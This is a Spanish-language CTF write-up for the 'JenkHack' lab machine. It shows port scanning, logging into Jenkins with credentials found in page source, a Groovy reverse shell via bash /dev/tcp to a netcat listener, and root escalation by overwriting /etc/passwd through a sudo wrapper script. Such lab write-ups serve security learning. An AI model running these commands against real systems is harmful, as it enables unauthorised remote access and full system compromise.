> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/jenkhack-write-up.md).

# JenkHack write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/udAQCsJMaBRhm6OCpBAH" alt=""><figcaption></figcaption></figure>

## **Realizamos un escaneo de los puertos abiertos de la máquina víctima**

Utilizamos **nmap** para escanear los puertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```

<figure><img src="/files/S7jtpb286ly7wknr0xnY" alt=""><figcaption></figcaption></figure>

El escaneo indica que el puerto 80 (HTTP), 443 (SSL/HTTP) y 8080 (HTTP) están abiertos. Así que ponemos la IP de la máquina víctima (`172.17.0.2`) en el navegador y vemos lo siguiente:

<figure><img src="/files/zYN4RTIiDWxR5i7vcT6p" alt=""><figcaption></figcaption></figure>

En un principio no hay nada interesante, pero si nos vamos al código fuente encontramos lo siguiente:

<figure><img src="/files/JZIl0o057XlqWtGb8lXd" alt=""><figcaption></figcaption></figure>

Vemos que hay dos etiquetas oculta las cuales contienen `jenkins-admin` y `cassandra`, así que vamos a intentar iniciar sesión en **Jenkins** con ese usuario y contraseña, por lo tanto, nos vamos a la siguiente dirección <https://172.17.0.2/login?from=%2F> e iniciamos sesión.

<figure><img src="/files/OsvHEgybjv68qqt7r7ZC" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/fs3LeacSzFpvqBM9GHG3" alt=""><figcaption></figcaption></figure>

Una vez iniciado sesión, vamos a poner la dirección <http://172.17.0.2:8080/script> y vamos a ver que nos aparecerá una consola donde podemos ejecutar `Groovy`. Así que vamos nos vamos a poner en escucha por el puerto 4443 con netcat y ejecutamos el siguiente código para enviarnos una shell interactiva al puerto 4443, pero primero nos ponemos en es:

```bash
sudo nc -nlvvp 4443
```

```groovy
def cmd = ["/bin/bash", "-c", "bash -i >& /dev/tcp/172.17.0.1/4443 0>&1"]
def process = new ProcessBuilder(cmd).start()
process.waitFor()
```

<figure><img src="/files/ebdjBoJ0n3tjbEm3AjNc" alt=""><figcaption></figcaption></figure>

Y así ya estaríamos dentro de la máquina víctima.

## **Escalada de privilegios**

Una vez dentro de la máquina víctima ejecutamos el siguiente comando para buscar los archivos de texto que se encuentren en la máquina víctima:

```bash
find / -name "*.txt" 2>/dev/null
```

<figure><img src="/files/0DUOeWH9mbPXO5YqA55p" alt=""><figcaption></figcaption></figure>

Si nos fijamos observamos que existe un archivo llamado `/var/www/jenkhack/note.txt`, así que hacemos un cat del archivo y vemos lo siguiente:

<figure><img src="/files/eKNzCyamNnhcgfMeWRox" alt=""><figcaption></figcaption></figure>

Esto indica que la contraseña del usuario `jenkhack` es ``C1V9uBl8!'Ci*`uDfP``, sin embargo vemos que esta cifrada, preguntándole a ChatGPT nos indica que parece base85, así que lo desencriptamos y nos da el siguiente resultado:

<figure><img src="/files/66WKmp8GOOuiw1ZqBl7n" alt=""><figcaption></figcaption></figure>

Así que iniciamos sesión como el usuario `jenkhack` usando como contraseña `jenkinselmejor`. Ahora que somos el usuario `jenkhack`, ejecutamos el comando `sudo -l`, el cual nos indica que podemos ejecutar el binario `/usr/local/bin/bash` como cualquier usuario. Pero si probamos ejecutarlo como root, nos aparece lo siguiente:

<figure><img src="/files/9HiARizt72nQf3skZJyd" alt=""><figcaption></figcaption></figure>

Esto sucede porque no se está ejecutando el binario bash, sino que realmente es un programa. Si hacemos un cat del archivo `/usr/local/bin/bash` podemos ver que se podría estar ejecutando el archivo `/opt/bash.sh`.

<figure><img src="/files/OEfZxJqeCZeRMMrlnqXQ" alt=""><figcaption></figcaption></figure>

Así que vamos a cambiar el nombre de ese archivo y vamos a crear otro que tenga de nombre `bash.sh` y que contenga lo siguiente:

```bash
mv bash.sh archivo
```

```bash
#!/bin/bash
echo "root::0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:996:996:systemd Resolver:/:/usr/sbin/nologin
jenkins:x:101:103:Jenkins,,,:/var/lib/jenkins:/bin/bash
jenkhack:x:1001:1001:jenkhack,,,:/home/jenkhack:/bin/bash
" > /etc/passwd
```

<figure><img src="/files/ecQnDbdpuWP9ZqjYFTHe" alt=""><figcaption></figcaption></figure>

Le damos permisos de ejecución al archivo:

```bash
chmod 0777 bash.sh 
```

Y ahora, ejecutamos el archivo `/usr/local/bin/bash`, el cual nos permitirá iniciar sesión como usuario root sin necesidad de contraseña.

```bash
sudo /usr/local/bin/bash
```

Ahora ejecutamos el comando `su` y ya seríamos el usuario root.

<figure><img src="/files/CgsDqgyOEoHTmxqlMPCg" alt=""><figcaption></figcaption></figure>
